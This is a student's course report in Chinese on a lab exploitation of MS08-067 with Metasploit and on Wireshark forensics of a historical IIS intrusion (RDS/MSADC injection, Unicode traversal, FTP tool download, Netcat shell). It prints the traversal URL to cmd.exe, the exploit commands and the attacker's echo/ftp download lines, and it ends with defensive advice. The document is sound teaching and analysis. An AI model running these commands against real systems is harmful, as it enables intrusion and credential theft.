20253902 吴晨宇 2025-2026-2 《网络攻防实践》第六周作业
一、知识点
1.1 GET 和 POST 请求的区别
GET 和 POST 是 HTTP 协议中最常用的两种请求方法。在本次流量分析中,攻击者对目录穿越使用了 GET 请求(命令直接拼接在 URL 中),而对 RDS/MSADC 漏洞利用则使用了 POST 请求(恶意载荷放在请求体中)。理解两者的区别有助于在流量分析中快速判断攻击行为的类型和意图。
| 对比项 | GET | POST |
|---|---|---|
| 语义 | 从服务器获取资源,侧重"读" | 向服务器提交数据,侧重"写" |
| 参数位置 | 拼接在 URL 的查询字符串中(?key=value&key2=value2) |
放在请求体(Body)中,URL 上不可见 |
| 长度限制 | 受 URL 长度限制,通常不超过 2048 字符 | 无明确长度限制,可传输大体量数据 |
| 可见性与日志 | 参数直接暴露在 URL 中,会被浏览器历史、服务器日志、代理服务器完整记录 | 参数在请求体中,不会出现在 URL 日志里,相对隐蔽 |
| 缓存 | 可被浏览器和中间代理缓存 | 默认不会被缓存 |
| 幂等性 | 语义上幂等——多次相同请求的结果一致 | 语义上非幂等——每次请求可能产生不同的副作用 |
| 编码类型 | 仅支持 URL 编码(application/x-www-form-urlencoded) |
支持多种编码,包括 application/x-www-form-urlencoded、multipart/form-data、application/json 等 |
| 安全性 | 参数明文暴露在 URL 中,不适合传输敏感数据 | 参数不在 URL 中,但未加密的 HTTP POST 同样是明文传输,真正的安全需要依赖 HTTPS |
在本次攻击中,攻击者对简单的命令执行使用 GET(参数直接拼在 URL 里),而对复杂的 RDS 漏洞利用使用 POST(恶意载荷较大且结构复杂,需要放在请求体中)。这也是实际渗透中常见的模式。
1.2 漏洞原理
1.2.1 MS08-067(Windows Server 服务远程代码执行漏洞)
MS08-067 是 Windows Server 服务(svchost.exe 中的 NetAPI32.dll)处理 RPC 请求时存在的栈缓冲区溢出漏洞,CVE 编号为 CVE-2008-4250。攻击者通过向目标主机的 445 端口(SMB 服务)发送精心构造的 RPC 请求,可在未经身份验证的情况下远程执行任意代码,获取 SYSTEM 权限。
该漏洞的核心成因是 NetpwPathCanonicalize() 函数在对路径字符串进行规范化处理时,未正确校验路径长度,导致攻击者可以通过超长路径触发栈溢出,覆盖返回地址并劫持程序执行流。
| 项目 | 说明 |
|---|---|
| CVE 编号 | CVE-2008-4250 |
| 影响组件 | NetAPI32.dll(Server 服务) |
| 攻击端口 | TCP 445(SMB) |
| 利用条件 | 无需认证,远程可达 |
| 影响系统 | Windows 2000、XP、Server 2003、Vista、Server 2008 |
| 获取权限 | SYSTEM |
| Metasploit 模块 | exploit/windows/smb/ms08_067_netapi |
MS08-067 是蠕虫级漏洞,著名的 Conficker 蠕虫即利用该漏洞进行大规模传播。其危害在于无需用户交互、无需认证,只要目标开放 445 端口即可被远程攻陷。
1.2.2 RDS/MSADC 远程命令执行
Microsoft Remote Data Services(RDS)是 IIS 早期版本中用于远程数据库访问的组件。/msadc/msadcs.dll 暴露了 AdvancedDataFactory.Query 接口,允许客户端提交 SQL 查询。在未打补丁的 IIS/4.0 + MDAC 环境中,攻击者可以在 SQL 语句中通过管道符 | 闭合原有 SQL 上下文,再调用 shell() 函数注入操作系统命令。
其本质是 SQL 注入 + 命令注入的组合利用:SQL 注入提供了进入数据库查询引擎的入口,shell() 函数实现了从数据库层到操作系统层的逃逸。攻击者还会附加一个合法的 Access 数据库路径(如 btcustmr.mdb)来满足查询语法的完整性要求。
1.2.3 IIS Unicode 目录穿越漏洞(MS00-078 / CVE-2000-0884)
IIS 在处理 URL 时会进行 Unicode 解码。攻击者利用 UTF-8 超长编码(overlong encoding)来绕过路径安全检查。例如 / 的 ASCII 码为 0x2F,正常情况下是单字节字符,但可以被非法编码为双字节序列 0xC0 0xAF,即 URL 中的 %C0%AF。
IIS 的处理顺序存在缺陷:先做安全检查(此时 %C0%AF 不被识别为 /,检查通过),再做 Unicode 解码(此时 %C0%AF 被还原为 /)。这个时序差导致攻击者可以构造如下请求穿越 Web 根目录:GET /scripts/..%C0%AF../winnt/system32/cmd.exe?/c+dir
实际效果等同于访问 C:\WINNT\system32\cmd.exe 并执行 dir 命令。
1.3 关键工具与技术
1.3.1 Metasploit Framework(MSF)
Metasploit 是最常用的渗透测试框架,本实验中使用的核心命令流程如下:
| 命令 | 作用 |
|---|---|
msfconsole |
启动 Metasploit 控制台 |
search ms08-067 |
搜索与 MS08-067 相关的漏洞利用模块 |
use exploit/windows/smb/ms08_067_netapi |
加载漏洞利用模块 |
show options |
查看模块所需参数 |
set RHOSTS <目标IP> |
设置目标主机地址 |
set LHOST <攻击机IP> |
设置攻击机监听地址(用于反向连接) |
set PAYLOAD windows/meterpreter/reverse_tcp |
设置攻击载荷为 Meterpreter 反向 TCP |
exploit 或 run |
执行攻击 |
1.3.2 Nmap 端口扫描
nmap -n -p 445 <目标IP> 用于快速检测目标主机 445 端口的开放状态。参数说明:
-n:不做 DNS 解析,加快扫描速度-p 445:仅扫描 445 端口(SMB 服务端口)
在利用 MS08-067 之前,必须先确认目标的 445 端口处于 open 状态,否则漏洞无法触发。
1.3.3 Netcat(nc.exe)
Netcat 被称为网络工具中的"瑞士军刀",可用于建立 TCP/UDP 连接、端口监听、文件传输和远程 shell。在本次攻击中,攻击者将 nc.exe 上传到受害主机后,利用它建立反向 shell,使受害主机主动连接攻击者的监听端口,从而绕过防火墙对入站连接的限制。
1.3.4 SAM 哈希导出工具
| 工具 | 功能 |
|---|---|
pdump.exe |
Windows 密码哈希导出工具(pwdump 系列),从 SAM 数据库中提取用户密码的 NTLM 哈希 |
samdump.dll |
配合 pdump 使用的动态链接库,负责底层读取 SAM 注册表项 |
Windows 将用户密码的哈希值存储在 SAM(Security Account Manager)数据库中,路径为
C:\WINDOWS\system32\config\SAM。系统运行时该文件被锁定,无法直接复制,因此需要借助专用工具在内存中读取。
1.4 流量分析流程
1.4.1 专家信息快速感知
打开 pcap 文件后,通过 Wireshark 的「视图 → 专家信息」功能进行初步感知。重点关注以下异常:
- TCP RST:连接被主动重置,可能是漏洞触发后进程崩溃
- TCP Zero Window:接收缓冲区阻塞,可能是大量恶意载荷注入
- TCP Retransmission:大量重传表明通信异常
- HTTP body subdissector failed:HTTP 响应体解析失败,说明返回内容偏离正常格式
专家信息是拿到未知 pcap 文件后的第一步"快速体检",能在几秒内判断是否存在异常通信。
1.4.2 Conversations 统计定位攻击双方
通过 Statistics → Conversations → TCP/IPv4 统计所有通信对,观察以下指标:
- 数据包数量和字节数最大的通信对
- 同一对 IP 之间是否存在多种协议(HTTP + FTP + 非标准端口 TCP)
- 是否存在持续时间异常长的 TCP 连接
结合以上特征,确定攻击者 IP 和受害者 IP。
1.4.3 过滤 HTTP 请求还原 Web 攻击
使用 http.request 过滤所有 HTTP 请求,按时间顺序梳理攻击者的 Web 操作:
- 信息搜集:访问首页
/,从响应头Server: Microsoft-IIS/4.0获取服务器指纹 - 组件探测:访问
/msadc/msadcs.dll,确认 RDS 组件可达 - 漏洞利用:POST 请求
/msadc/msadcs.dll/AdvancedDataFactory.Query,注入恶意 SQL + 系统命令 - 目录穿越:通过
%C0%AF编码的 Unicode 穿越路径调用cmd.exe - 持久化:将
cmd.exe复制为cmd1.exe到 Web 可访问目录
常用过滤表达式:
| 过滤器 | 用途 |
|---|---|
http.request |
查看所有 HTTP 请求 |
http.request.uri contains "msadc" |
过滤 MSADC 相关请求 |
http.request.uri contains "cmd.exe" |
过滤命令执行请求 |
frame contains "cmd1.exe" |
搜索包含 cmd1.exe 的所有数据包 |
1.4.4 分析 FTP 流量确认工具投递
使用 ftp 或 ftp-data 过滤 FTP 流量,追踪 TCP 流可以看到:
- 攻击者通过
echo命令在受害主机上逐行构造 FTP 自动化脚本ftpcom - 脚本内容包括
open 212.116.251.162(连接攻击者 FTP)、get nc.exe、get pdump.exe、get samdump.dll - 受害主机执行
ftp -s:ftpcom后主动连接攻击者 FTP 服务器下载工具 - FTP 命令中的
RETR(Retrieve)表示文件下载操作
1.4.5 定位 Netcat 反向 Shell
通过 Statistics → Conversations → TCP 按持续时间(Duration)倒序排序,寻找非标准端口(排除 80、21 等常用端口)上的长时间 TCP 连接。Netcat shell 的特征是:
- 使用非标准端口
- 连接持续时间远长于正常 HTTP 请求
- 数据包中包含明文的系统命令和输出(如
dir、cd、net session等)
追踪该 TCP 流即可还原攻击者在 shell 中执行的所有命令。
二、操作流程
2.1 渗透测试
本节在授权的虚拟网络攻防实验环境中进行渗透测试,主要目标是对 Windows 靶机进行端口探测、系统版本确认,并结合 Metasploit Framework 对可能存在的漏洞进行验证。实验过程中先确认目标主机开放端口和系统信息,再根据扫描结果选择对应模块进行测试,避免盲目攻击。
本实验仅在课程虚拟实验环境中进行,目标主机为实验靶机,所有测试均用于理解漏洞验证流程和渗透测试基本方法。
2.1.1 检查 Windows 端口情况
在进行漏洞验证之前,首先需要确认 Windows 靶机当前开放的端口情况。端口状态是选择攻击模块的重要依据,如果目标服务没有开放,即使系统版本存在漏洞,也无法直接通过对应网络服务完成验证。
首先在 Windows 靶机中使用 netstat -an 查看本机当前的网络连接和监听端口:
netstat -an

图 2-1-1 Windows 靶机中执行 netstat -an 查看端口监听和网络连接状态。
从图中可以看到,Windows 靶机存在多个处于监听状态的端口。这里重点关注与 SMB 服务相关的 445 端口,因为 MS08-067 漏洞与 Windows Server 服务相关,通常需要目标主机开放 SMB 相关端口才能进一步验证。
为了从攻击机角度确认目标主机 445 端口是否可达,在 Kali 中使用 nmap 对目标端口进行扫描:
nmap -n -p 445 192.168.200.21

图 2-1-2 Kali 中使用 nmap 扫描 Windows 靶机的 445 端口状态。
从扫描结果可以看到,目标主机 192.168.200.21 的 445 端口处于开放状态。这里可以初步判断,攻击机能够访问目标主机的 SMB 服务,后续可以围绕该服务进行漏洞验证。
接着在 Windows 靶机中使用 winver 查看系统版本信息:
winver

图 2-1-3 Windows 靶机中通过 winver 查看系统版本信息。
确认系统版本的意义在于判断目标环境是否可能受到特定漏洞影响。仅凭端口开放不能直接说明漏洞一定存在,还需要结合系统版本、补丁情况和服务状态综合分析。
本阶段信息收集结果可以整理如下:
| 检查项目 | 使用命令 | 观察内容 | 分析说明 |
|---|---|---|---|
| 本机端口状态 | netstat -an |
查看 Windows 靶机监听端口 | 用于确认系统当前开放的网络服务 |
| 远程端口探测 | nmap -n -p 445 192.168.200.21 |
检查 445 端口是否开放 |
目标 SMB 服务可从攻击机访问 |
| 系统版本确认 | winver |
查看 Windows 系统版本 | 为后续选择漏洞模块提供依据 |
渗透测试不能直接从漏洞模块开始。先确认端口、服务和系统版本,可以减少无效尝试,也能让后续漏洞验证过程更有依据。
2.1.2 加载 msf
完成目标主机基础信息收集后,接下来使用 Metasploit Framework 进行漏洞模块检索。由于前面已经确认目标主机开放了 445 端口,并且需要验证与 SMB 服务相关的漏洞,因此在 msfconsole 中搜索 ms08-067 相关模块:
search ms08-067

图 2-1-4 在 Metasploit Framework 中搜索 ms08-067 相关漏洞模块。
搜索结果中显示了与 MS08-067 漏洞相关的模块。根据实验目标,需要选择与目标服务和系统版本相匹配的模块进行后续验证。

图 2-1-5 在 Metasploit 中选择与 MS08-067 漏洞相关的测试模块。
进入模块后,需要根据目标主机的实际情况配置参数。这里主要关注目标 IP、端口以及载荷等信息。参数配置是否正确,直接影响后续漏洞验证能否成功。

图 2-1-6 在 Metasploit 中查看并配置漏洞验证所需参数。
完成参数配置后,执行模块进行验证。该步骤的目的是测试目标主机是否能够被该漏洞模块成功利用。

图 2-1-7 Metasploit 执行 MS08-067 相关模块进行漏洞验证。
从执行结果来看,Metasploit 成功进入目标会话。进入会话后,可以对目标系统进行基本交互测试,用于验证当前权限和会话可用性。

图 2-1-8 Metasploit 获取目标会话后进行基本读写测试。
从图中可以看到,当前会话可以进行正常交互,并能够完成基本读写操作。这里可以初步判断,漏洞验证已经成功,攻击机获得了对目标主机的有效会话控制能力。
通过本节实验可以看到,渗透测试的基本流程并不是直接运行攻击模块,而是先进行信息收集,再根据端口、服务和系统版本选择合适的验证方式。前期的
netstat、nmap和winver结果为后续 Metasploit 模块选择提供了依据,最终通过会话交互验证了漏洞利用结果。
2.2 分析流量
本节主要基于 Wireshark 对流量包进行时间线分析,尝试按照攻击发生的先后顺序还原攻击者的行为路径。分析思路不是单纯查找某一个攻击特征,而是从整体流量异常入手,逐步确认攻击者、受害者、Web 指纹、漏洞利用、工具下载、远程控制以及后渗透行为,最终形成较完整的攻击画像。
2.2.1 流量初步感知
首先通过 Wireshark 的专家信息功能对流量包进行整体观察。该功能可以快速展示解析过程中发现的异常、警告和错误信息,适合用来判断流量中是否存在明显异常行为。
操作路径如下:
Analyze → Expert Information

图 2-2-1 Wireshark 专家信息窗口中展示 TCP 异常和 HTTP 解析错误信息。
专家信息中出现了较多 TCP 协议异常,包括连接重置、重传、接收窗口相关问题等。同时还可以看到 HTTP body subdissector failed 这类解析错误。这里可以初步判断,流量中存在异常的 Web 请求或服务端响应,后续需要重点关注 HTTP、TCP 会话以及可能触发漏洞的请求内容。
专家信息不能直接作为最终结论,但它可以帮助我们快速锁定分析方向。本次流量中的异常集中在 TCP 和 HTTP 层,因此后续主要围绕 Web 访问、目录穿越、命令执行和远程控制进行追踪。
2.2.2 确认攻击者和受害者 IP
通过 Conversations 统计和 IP 过滤,可以先确定流量中通信最活跃的主机。结合后续攻击行为,本次分析中涉及的核心对象如下:
攻击者 IP:
212.116.251.162
受害者 IP:172.16.1.106
受害主机名:lab.wiretrip.net
在 Wireshark 中可以通过以下路径查看通信会话:
Statistics → Conversations

图 2-2-2 Wireshark Conversations 中展示不同主机之间的通信会话统计。
通过会话统计可以发现,212.116.251.162 与 172.16.1.106 之间存在大量通信,且后续出现了 HTTP、FTP 以及交互式 TCP 连接。结合攻击请求的方向和行为内容,这里可以初步判断 212.116.251.162 是攻击者,172.16.1.106 是受害主机。
接着观察 HTTP 请求类型,可以看到流量中存在大量 GET 请求。

图 2-2-3 Wireshark 数据包列表中出现 HTTP GET 请求。
为了集中查看 Web 访问行为,可以使用过滤器筛选 GET 请求:
http.request.method == "GET"

图 2-2-4 使用 HTTP GET 过滤条件筛选 Web 请求流量。
进一步观察请求 URI,可以发现其中包含多条目录遍历相关路径。这类请求通常用于尝试跳出 Web 根目录,访问系统中的敏感程序或文件。

图 2-2-5 HTTP 请求中出现带有目录穿越特征的访问路径。
这一阶段的分析重点是完成攻击对象定位。攻击者与受害者之间不仅通信频繁,而且通信内容逐渐呈现出 Web 探测、目录遍历和漏洞利用特征,因此后续可以围绕这两台主机继续还原攻击链路。
2.2.3 分析 Web 访问和 IIS 指纹
攻击者在正式利用漏洞之前,先进行了 Web 服务探测和目标指纹识别。
为了确认攻击者最初访问 Web 服务的行为,可以在 Wireshark 中过滤 HTTP 请求:
http.request

图 2-2-6 使用 http.request 过滤器查看 HTTP 请求报文。
选择相关 HTTP 请求后,右键追踪 TCP 流,用于查看该请求和响应的完整交互过程。
Follow → TCP Stream

图 2-2-7 追踪 TCP 流查看 HTTP 请求与服务器响应内容。
在追踪流中可以看到,攻击者首先访问目标首页 /,服务器返回 HTTP 200 OK。响应头中暴露了如下服务端信息:
Server: Microsoft-IIS/4.0
该字段说明目标 Web 服务运行在 Microsoft-IIS/4.0 上。对于攻击者来说,这一信息非常有价值,因为老版本 IIS 可能受到 MSADC/RDS 组件漏洞和 Unicode 目录穿越漏洞影响。这里可以初步判断,攻击者已经完成了第一步信息搜集,并据此选择后续攻击路径。
2.2.4 发现组件探测:/msadc/msadcs.dll
/msadc/msadcs.dll 是 Microsoft RDS / MDAC 相关组件。在老版本 IIS + MDAC 环境中,该组件经常与远程命令执行类攻击相关。结合前面识别出的 Microsoft-IIS/4.0 指纹,继续过滤 msadc 相关请求:
http.request.uri contains "msadc"

图 2-2-8 使用 http.request.uri contains "msadc" 过滤 MSADC 相关请求。
随后追踪对应 TCP 流,查看服务器对 /msadc/msadcs.dll 的响应情况。

图 2-2-9 追踪 MSADC 请求对应的 TCP 流并查看响应内容。
追踪流中可以看到服务器对该路径作出了响应,说明 /msadc/msadcs.dll 组件在目标服务器上可以被访问。该现象为后续 AdvancedDataFactory.Query 利用提供了前提条件。
到这一步,攻击者已经不只是“扫描目标”,而是在验证目标服务器上是否存在可利用的 RDS / MSADC 组件。
2.2.5 发现漏洞利用:AdvancedDataFactory.Query
继续分析 HTTP 流量,可以发现攻击者向 /msadc/msadcs.dll/AdvancedDataFactory.Query 发送了 POST 请求。

图 2-2-10 HTTP 流量中出现指向 AdvancedDataFactory.Query 的 POST 请求。
该请求的内容类型为:
application/x-varg
这是典型的 RDS DataFactory 相关利用特征。继续向下查看请求体,可以观察到带有命令执行意图的注入内容。

图 2-2-11 POST 请求体中出现与 SQL 注入和系统命令执行相关的内容。
该请求的大致逻辑是:攻击者试图通过特殊构造的输入破坏原有查询上下文,并调用 shell() 函数执行系统命令。图中可以看到与创建文件、写入 FTP 凭据相关的内容,同时后面附带了类似下面的数据库连接字段:
driver={Microsoft Access Driver (*.mdb)};dbq=c:\winnt\help\iis\html\tutorial\btcustmr.mdb
这里可以初步判断,攻击者尝试借助 MSADC/RDS 组件触发服务器端命令执行,并为后续 FTP 下载工具做准备。服务器返回 HTTP/1.1 200 OK 和 multipart/mixed 数据,也说明该请求得到了目标服务器的处理。
这一阶段是攻击链中的漏洞利用节点。前面的 IIS 指纹识别和 MSADC 组件探测,最终都服务于这里的
AdvancedDataFactory.Query利用。
2.2.6 发现 Unicode 目录穿越调用 cmd.exe
除了利用 MSADC/RDS 组件外,流量中还出现了对 cmd.exe 的访问。可以使用以下过滤器定位相关请求:
http.request.uri contains "cmd.exe"

图 2-2-12 使用 http.request.uri contains "cmd.exe" 过滤命令解释器相关请求。
进一步观察请求 URI,可以看到路径中存在 %C0%AF 或显示为 À¯ 的编码片段。

图 2-2-13 请求路径中出现 %C0%AF 或 À¯ 等 Unicode 编码片段。
%C0%AF 在该类老版本 IIS 攻击中常被用来绕过对 / 的路径检查。攻击者通过多级目录穿越跳出 Web 目录,访问系统路径中的命令解释器:
C:\WINNT\system32\cmd.exe
同时,请求中还出现了类似下面的参数形式:
?/c+
这表示让 cmd.exe 执行 /c 后面的系统命令。结合过滤结果可以初步判断,攻击者利用 IIS Unicode 目录穿越漏洞调用了 cmd.exe,并通过 HTTP 请求在目标系统上执行命令。
2.2.7 发现后门植入:复制 cmd.exe 为 cmd1.exe
攻击者并没有每次都依赖复杂的 Unicode 目录穿越路径,而是尝试将系统命令解释器复制到 Web 可访问目录中,以便后续更方便地通过 HTTP 执行命令。
为了确认这一行为,可以过滤包含 cmd1.exe 的数据包:
frame contains "cmd1.exe"

图 2-2-14 使用 frame contains "cmd1.exe" 定位与 cmd1.exe 相关的请求。
根据请求内容可以还原出攻击者执行的系统命令大致为:
copy C:\winnt\system32\cmd.exe cmd1.exe
也就是说,攻击者将原始系统命令解释器复制到 MSADC 相关目录中,并命名为 cmd1.exe。后续就可以通过类似下面的 Web 路径直接调用它:
/msadc/.../program files/common files/system/msadc/cmd1.exe?/c+命令
这里可以初步判断,cmd1.exe 相当于攻击者放置在 Web 可访问目录下的命令执行入口。这样做降低了继续利用目录穿越路径的复杂度,也为后续构造脚本、下载工具和远程控制提供了便利。
2.2.8 发现恶意脚本构造:生成 ftpcom
攻击者通过多次 HTTP 请求调用
cmd1.exe,使用echo命令逐行构造ftpcom文件。该文件中包含连接攻击者 FTP 服务器、下载工具以及自动执行 FTP 命令的内容。

图 2-2-15 HTTP 请求中出现通过 echo 命令构造 ftpcom 脚本的内容。
根据流量内容,可以还原出部分命令含义:
echo open 212.116.251.162 > ftpcom
echo get nc.exe >> ftpcom
ftp -s:ftpcom
这些命令的作用如下:
| 命令片段 | 作用说明 |
|---|---|
echo open 212.116.251.162 > ftpcom |
创建 ftpcom 文件,并写入攻击者 FTP 服务器地址 |
echo get nc.exe >> ftpcom |
向 ftpcom 追加下载 nc.exe 的命令 |
ftp -s:ftpcom |
调用 Windows FTP 客户端,并自动执行 ftpcom 中的命令 |
日志中还可以看到攻击者向 ftpcom 中写入 get samdump.dll 等命令,说明该脚本不仅用于下载 nc.exe,还用于下载后续凭据提取相关工具。
这一阶段说明攻击者已经从“远程命令执行”进入“工具投放”阶段。其思路不是直接把工具塞进 HTTP 请求中,而是让受害主机主动连接攻击者的 FTP 服务进行下载。
2.2.9 发现横向移动工具下载:基于 FTP
为了查看攻击者投放工具的过程,可以过滤 FTP 流量:
ftp

图 2-2-16 使用 ftp 过滤器查看 FTP 控制连接相关流量。
继续追踪 FTP 流,可以看到受害主机正在从攻击者的 FTP 服务端下载文件。其中 RETR 是 FTP 协议中的下载命令,全称可以理解为 Retrieve,用于从服务器取回指定文件。

图 2-2-17 FTP 流中出现 RETR 命令和文件下载记录。
下载的工具及其作用可以整理如下:
| 文件名 | 功能描述 |
|---|---|
nc.exe |
Netcat 工具,可用于建立远程 shell |
pdump.exe |
Windows 密码哈希导出相关工具 |
samdump.dll |
配合 pdump / pwdump 类工具读取 SAM 哈希 |
FTP 流量表明,受害主机主动连接了攻击者
212.116.251.162的 FTP 服务,并下载nc.exe、pdump.exe、samdump.dll等工具。这里可以初步判断,攻击者已经成功向目标系统投放了后续控制和凭据窃取工具。
2.2.10 发现反弹控制:Netcat 远程 Shell
攻击者下载 nc.exe 后,后续很可能会尝试建立远程 shell。由于 Netcat 不一定使用固定端口,因此不能只过滤某一个常见端口。这里可以通过 Wireshark 的 TCP 会话统计功能,查找持续时间较长、端口异常的连接。
操作路径如下:
Statistics → Conversations → TCP
并按照连接持续时间进行排序。

图 2-2-18 在 TCP Conversations 中按连接持续时间观察可疑长连接。
在排查时,可以优先排除 80、21 等常见 Web 和 FTP 端口,再关注持续时间较长、端口不常见且通信双方与前面攻击链一致的 TCP 连接。

图 2-2-19 TCP 会话列表中显示疑似远程控制相关的长连接。
这里可以初步锁定一条疑似远程 shell 的 TCP 会话。后续对该会话进行追踪,可以继续查看攻击者在 shell 中输入的命令和目标主机返回的结果。
2.2.11 分析攻击者后渗透系统命令
攻击者获得 shell 后,开始执行一系列系统命令,用于确认当前目录、查看文件、探测网络会话以及尝试清理或写入文件。这些行为说明攻击已经进入后渗透阶段。
1. 切换目录

图 2-2-20 远程 shell 中出现切换目录和查看当前路径相关命令。
攻击者首先尝试通过 cd、dir 等命令确认当前所在目录和文件情况。结合前面下载工具的位置,这一步主要是确认 nc.exe、pdump.exe、samdump.dll 等文件是否已经落地。
2. 探测网络会话(net session)
net session

图 2-2-21 远程 shell 中执行 net session 查看网络会话信息。
net session 用于查看当前系统上的 SMB / 网络会话信息。攻击者执行该命令,说明其已经不满足于单纯获得 shell,而是在观察目标系统所处的网络环境和当前连接情况。
3. 尝试删除文件

图 2-2-22 远程 shell 中出现删除文件相关命令。
流量中出现删除文件相关命令,说明攻击者可能尝试清理部分痕迹或移除不需要的文件。由于截图中只能确认存在删除操作,这里不进一步扩大判断,只能说明攻击者已经开始对目标文件系统进行修改。
4. 写入提示文件

图 2-2-23 远程 shell 中出现写入提示文件相关命令。
攻击者还尝试写入提示文件。结合后续 README.NOW.Hax0r 的内容,可以进一步分析其是否已经意识到当前环境并非真实生产主机,而是实验环境或蜜罐。
2.2.12 内网信息收集:DNS 爆破
攻击者还可能通过反向 DNS 查询来了解目标网络中的主机信息。原文此处标注了 image.png,但没有提供可用图片链接,因此这里不添加图片,避免产生无法显示的图注。
下面这段代码用于从一个起始主机或地址开始,按指定数量进行反向 DNS 查询,并输出 IP 与主机名之间的对应关系。其核心思路是调用 gethostbyaddr() 对 IP 地址进行反查。
void main(int argc, char *argv[])
{
unsigned long current;
struct hostent *host;
char *curname;
char thename[70];
int i,j,num;
struct in_addr addr;
if (argc<3) {
printf("Not enough args\n");
return;
}
num = atoi(argv[2]);
host = gethostbyname(argv[1]);
if (!host) {
printf("Cannot resolve starting point. Aborting.\n");
return;
}
current = *((unsigned long *)host->h_addr);
printf("Beginning DNS lookups\n");
for (i=0;i<num;i++) {
addr.s_addr = current;
curname = inet_ntoa(addr);
host = gethostbyaddr((char *)¤t,sizeof(struct in_addr),AF_INET);
printf("%-15s : %s",curname,(host) ? host->h_name : curname);
j = 0;
if (host) while (host->h_aliases[j] != NULL)
printf("\r%s",host->h_aliases[j++]);
current += 0x01000000;
printf("\n");
}
printf("Ending DNS lookups.\n");
}
该代码的作用可以概括如下:
| 代码逻辑 | 功能说明 |
|---|---|
gethostbyname(argv[1]) |
将输入的起始主机名解析为 IP 地址 |
gethostbyaddr(...) |
对当前 IP 地址进行反向 DNS 查询 |
current += 0x01000000 |
按一定步长遍历后续 IP 地址 |
| 输出 IP 与主机名 | 帮助攻击者了解目标网络中的主机命名情况 |
反向 DNS 查询本身不一定是攻击行为,但在入侵后的上下文中,它常用于内网资产发现。结合前面已经出现的远程 shell 和系统命令执行行为,这里可以初步判断攻击者正在尝试收集更多网络环境信息。
2.2.13 意图分析:判断攻击者是否发现蜜罐
攻击者通过 echo 命令留下 README.NOW.Hax0r 文件,并在内容中明确提到了 “lab server”。这一点非常关键,因为它说明攻击者可能已经意识到目标并非真实业务服务器,而是实验环境或蜜罐。

图 2-2-24 远程 shell 中显示 README.NOW.Hax0r 文件相关内容。
随后,攻击者在 IIS 默认网站目录下创建了 test.txt 文件,内容为:
this can't be true

图 2-2-25 攻击者在 IIS 默认网站目录中写入 test.txt 文件。
该行为可以理解为攻击者在验证自己是否真的拥有 Web 目录写入权限,同时也反映出攻击者对目标环境产生怀疑。结合 README.NOW.Hax0r 中的提示内容,可以初步判断攻击者很可能已经识别出目标具有实验环境或蜜罐特征。
2.2.14 针对性安全防护建议
结合本次攻击链路,可以从组件加固、系统补丁、权限控制、出站访问和审计监控几个方面进行防护:
- 禁用或删除不必要的
RDS/MSADC组件,限制/msadc/目录访问,禁止匿名用户调用msadcs.dll。 - 升级
IIS,安装安全补丁,关闭危险脚本映射,禁止 Web 进程访问C:\WINNT\system32\cmd.exe。 - Web 目录禁止执行
EXE文件,移除不必要的写权限,IIS 运行账户只保留最小权限。 - 服务器默认禁止出站
FTP,限制服务器访问外部未知 IP,并通过防火墙监控异常出站连接。 - 禁用弱口令,启用日志审计,阻止
pwdump、samdump等凭据导出工具执行。 - 对异常长连接、反弹 shell、Web 目录中新生成的可执行文件进行重点告警。
- 对包含
%C0%AF、cmd.exe、/msadc/、AdvancedDataFactory.Query等特征的请求建立检测规则。
可以将防护措施与攻击阶段对应如下:
| 攻击阶段 | 观察到的行为 | 防护建议 |
|---|---|---|
| 指纹识别 | 识别 Microsoft-IIS/4.0 |
隐藏或减少服务端版本信息暴露 |
| 组件探测 | 访问 /msadc/msadcs.dll |
禁用不必要组件,限制 MSADC 目录访问 |
| 漏洞利用 | 调用 AdvancedDataFactory.Query |
安装补丁,禁用 RDS DataFactory 风险功能 |
| 命令执行 | Unicode 目录穿越调用 cmd.exe |
修复 IIS Unicode 漏洞,限制 Web 账户执行系统命令 |
| 后门植入 | 复制 cmd.exe 为 cmd1.exe |
禁止 Web 目录执行可执行文件 |
| 工具下载 | 通过 FTP 下载 nc.exe 等工具 |
限制服务器出站访问,监控外联行为 |
| 远程控制 | Netcat 建立远程 shell | 监测异常长连接和非常规端口通信 |
| 后渗透 | 执行 net session、写入文件 |
加强日志审计和主机行为检测 |
2.2.15 攻击链路完整总结
攻击者 212.116.251.162 首先访问受害主机 172.16.1.106 的 Web 服务,并通过响应头识别出目标运行 Microsoft-IIS/4.0。随后,攻击者探测 /msadc/msadcs.dll,确认目标存在可访问的 MSADC 相关组件。接着,攻击者向 /msadc/msadcs.dll/AdvancedDataFactory.Query 发送特殊构造的 POST 请求,尝试利用 RDS DataFactory 相关问题执行服务器端命令。
在完成前期利用后,攻击者又结合 IIS Unicode 目录穿越漏洞访问 C:\WINNT\system32\cmd.exe,并通过 /c 参数执行系统命令。为了降低后续命令执行成本,攻击者将系统中的 cmd.exe 复制到 MSADC 目录下并命名为 cmd1.exe,这样后续即可通过 Web 请求直接调用该文件执行命令。
随后,攻击者通过 cmd1.exe 构造 ftpcom 脚本,让受害主机主动连接攻击者的 FTP 服务器,下载 nc.exe、pdump.exe、samdump.dll 等工具。下载完成后,攻击者利用 nc.exe 建立远程 shell,进入目标系统目录,执行 dir、cd、net session、type README.NOW.Hax0r 等命令,开始后渗透阶段的信息收集和环境确认。
在后续交互中,攻击者发现系统中存在 README.NOW.Hax0r 文件,且内容提示该系统是 lab server。之后攻击者又在 IIS 默认网站目录中写入 test.txt,内容为 this can't be true。结合这些行为可以初步判断,攻击者很可能已经意识到目标环境具有实验或蜜罐特征。
攻击总结
本次流量呈现出一条较完整的 Web 入侵链路:Web 指纹识别 → MSADC 组件探测 → RDS DataFactory 利用 → IIS Unicode 目录穿越 → 命令执行入口构造 → FTP 工具下载 → Netcat 远程控制 → 后渗透信息收集 → 识别实验环境或蜜罐。
整个过程中,攻击者并不是一次性完成入侵,而是先通过 Web 响应确认 IIS 版本,再根据目标环境选择老版本 IIS 常见漏洞进行验证。漏洞利用成功后,攻击者把系统命令解释器复制到 Web 可访问目录,随后构造 FTP 脚本下载远程控制和凭据获取工具。最终,攻击者通过远程 shell 执行系统命令,并在交互过程中表现出对目标环境真实性的怀疑。
本次分析说明,单个告警或单条可疑请求很难完整解释攻击行为。只有按照时间线把 HTTP 请求、FTP 下载、TCP 长连接和 shell 命令串联起来,才能较完整地还原攻击者从探测到入侵再到后渗透的全过程。
2.3 MS08-067 漏洞利用实战:从远程溢出到桌面接管
本节实验在授权的虚拟实验环境中完成。由于原实验环境受时间和网络条件影响,最后使用手机热点将 Kali Linux 攻击机和 Windows 2000 靶机接入同一网段,完成 MS08-067 漏洞利用、Shell 获取、权限验证、远程桌面开启、管理员用户创建以及 Wireshark 抓包分析等操作。
